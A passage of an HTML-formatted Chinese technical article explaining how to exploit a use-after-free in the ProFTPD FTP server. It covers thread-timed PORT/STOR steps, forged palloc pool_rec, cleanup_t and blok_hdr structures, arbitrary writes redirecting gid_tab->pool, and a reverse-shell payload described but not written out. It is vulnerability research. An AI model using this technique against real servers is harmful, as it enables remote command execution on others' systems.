4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pstrdup(cmd-&gt;pool, res)</code>函数，res是线程B控制的内容，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pstrdup()</code>函数类似于字符串拷贝，通过将<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool-&gt;sub_prev</code>指向<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab</code>的地址向前一部分的偏移，以此来篡改<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab-&gt;pool</code>的地址内容指向<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool - 0x10</code>的地址，这样在释放<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab</code>时就会同时释放掉<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab-&gt;pool</code>，便可调用我们控制的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cleanups</code>，从而达到任意命令执行。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>利用步骤</strong>：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">前三步和漏洞触发流程一样，</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一步，创建线程A<strong>监听本地端口</strong>3247等待连接，线程A阻塞住，创建线程B，<strong>连接</strong>目标ip和端口，端口为21，并返回包含&#39;220 ProFTPD Server (ProFTPD Default Installation)&#39;信息，即表示和proftpd服务连上了。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二步，线程B，发送两条指令，用来<strong>登录</strong>，第一条指令‘USER xxx’，第二条指令‘PASS mmm’，xxx代表用户名，mmm代表密码，返回230开头的信息，表示身份验证通过，登录成功。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第三步，线程B，发送一条指令‘TYPE I’，返回‘200 Type set to I\r\n’，接着发送PORT命令，切换proftpd服务为<strong>主动模式</strong>，让服务器来连接攻击者的客户端线程A监听的端口，然后再发送一条命令STOR，<strong>上传任意文件</strong>，开通一个数据传输通道，当线程A收到proftpd服务发出的连接请求后，想办法让线程停住，可以通过全局变量+while循环来控制。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从第四步开始有些不同，</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第四步，线程B，继续发送一段命令A给proftpd服务，这个命令A内容是特意构造的，就是我们控制<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_get_displayable_str()</code>函数里<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pstrdup(cmd-&gt;pool, res)</code>函数的第二个参数res，构造的内容包含<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool - 0x10</code>的地址，发送完，让线程A停止等待，立马让线程A发送一段数据给proftpd服务，这次不是再垃圾数据，是我们精心构造好的恶意的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pool_rec</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cleanup_t</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">blok_hdr</code>和反弹shell的命令，后面分别用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_pool_rec</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_cleanup_t</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_blok_hdr</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gCmd</code>来代表，到此，就等待反弹shell吧。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>构造shellcode<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">说明，这次shellcode的构建，不同于ptmalloc2的内存管理，这次涉及到大家不熟悉的palloc内存池管理，利用内存池及其控制结构pool_rec和blok_hdr来完成利用，第一次理解起来可能麻烦点，如果大家很熟悉palloc内存池内存池的利用，可以忽略这句话。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在上述的利用第四步中，线程B发送的命令，会在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">poll_ctrl()</code>函数里第933行调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_read()</code>读取。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7542168674698795" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=9250b7a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSZtADUN1nE4DjoDyY0vFE1wzpoG0mlibD85ztPHBAx7s5z9eia9AdYMzg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">线程A发送的shellcode，会在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_data_xfer()</code>函数第1265行被<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_netio_read()</code>函数读取。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7158351409978309" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="922" src="https://wechat2rss.xlab.app/img-proxy/?k=951e7f36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMS45ZIMG0ictKvD3baJgB9Zs2ibWhPyZPTeiaLicpXXib0Pa1T4IevHAqPPRw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_netio_read()</code>函数的参数<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cl_buf</code>，在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">xfer_stor()</code>函数第2026行从<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd</code>分配的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">sub_pool</code>，所以线程A发送的shellcode直接占据了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pool_rec</code>及后面的内存，shellcode伪造的内容及关系图如下。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8210818307905686" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="721" src="https://wechat2rss.xlab.app/img-proxy/?k=2e9c5170&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSjH90ia1m9dPWxzTy0suKXktwpP3wsiaJy89CP7kdQCdS0PHo3icat0dJQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes-&gt;chains</code>，这4个都是堆上的地址，我们都需要提前计算相对heap偏移。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">线程A发送完shellcode后，进入任意写的流程，会再次调用data.c:933行的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_read()</code>函数，此次读到返回小于0，进入if判断，进入<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_session_disconnect()</code>函数， 然后会进入到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">xfer_exit_ev()</code>函数，调用链为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">main()-&gt;standalone_main()-&gt;daemon_loop()-&gt;fork_server()-&gt;cmd_loop()-&gt;pr_cmd_dispatch()-&gt;pr_cmd_dispatch_phase()-&gt;_dispatch()-&gt;pr_module_call()-&gt;xfer_stor()-&gt;pr_data_xfer()-&gt;poll_ctrl()-&gt;pr_session_disconnect()-&gt;pr_session_end-&gt;sess_cleanup()-&gt;pr_event_generate()-&gt;xfer_exit_ev()</code>。然后<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">xfer_exit_ev()</code>函数会继续调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_dispatch_phase()</code>到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">_dispatch()</code>函数，到了main.c:287行调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">make_sub_pool()</code>函数。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7688953488372093" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="688" src="https://wechat2rss.xlab.app/img-proxy/?k=4c6d629d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSIUCTGDicdFuUib8VnX5iam7XIk8WH2JCUoibGekqw6AQAbgIb2Z4wibVt6Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一个任意地址写，但是写的内容不可控制，在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">make_sub_pool()</code>函数里，通过箭头指向的两条语句，任意写的内容是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">new_pool</code>的地址，伪造<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">p-&gt;sub_pools</code>指向<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes - 0x10</code>，这样<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">new_pool-&gt;sub_next</code>等于<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes - 0x10</code>，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">new_pool-&gt;sub_next-&gt;sub_prev</code>等同于指向<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes-&gt;chains</code>，这个任意写地址内容就是new_pool的地址，内控不可控，不能直接篡改<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">plain_cleanup_cb</code>函数指针写入我们想要的内容，所以第一个任意写内容不可控。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6466257668711657" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="815" src="https://wechat2rss.xlab.app/img-proxy/?k=4bca44fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMS93sNoJ0IxzZxYzwSN8YVVAILicmXafKQ9qR5F0f4cvliaIibsov5sL76g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是我们可以借助这个内容不可控的任意写，<strong>篡改cmd-&gt;notes-&gt;chains</strong>的地址。执行完<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">make_sub_pool()</code>函数，紧接着调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_get_displayable_str()</code>函数，cmd.c:374行任意写的地方，内容是可控的，res是线程B发送命令的第二个参数。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5490716180371353" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="754" src="https://wechat2rss.xlab.app/img-proxy/?k=71a686b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSnLy3nUMWtO5OoMBOZSw8SkxtVnRfU3xkPuHcwgFcl3WhNOnKZRSyvQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在不篡改<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes-&gt;chains</code>的情况下，程序会在调用完<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">res = pr_table_get(cmd-&gt;notes, &#34;displayable-str&#34;, NULL)</code>进入if判断并退出<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_get_displayable_str()</code>函数，在篡改完<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes-&gt;chains</code>的情况下，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_table_get()</code>函数会返回NULL，继续执行到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pstrdup(cmd-&gt;pool, res)</code>，具体细节自行调试。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7068160597572363" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1071" src="https://wechat2rss.xlab.app/img-proxy/?k=d920183f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSQOMMST3J7ibeNyYBwjRszViczSIgxM9v8JpuqWadNNPjoiaOicNbInKibAw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当我们伪造的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_pool_rec-&gt;sub_prev</code>字段指向<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab-0x90</code>，伪造res的内容为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool - 0x10</code>，恰好在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pstrdup(cmd-&gt;pool, res)</code>时，res写入的地址刚好是gid_tab的前8字节，也就是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab-&gt;pool</code>的地址为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: 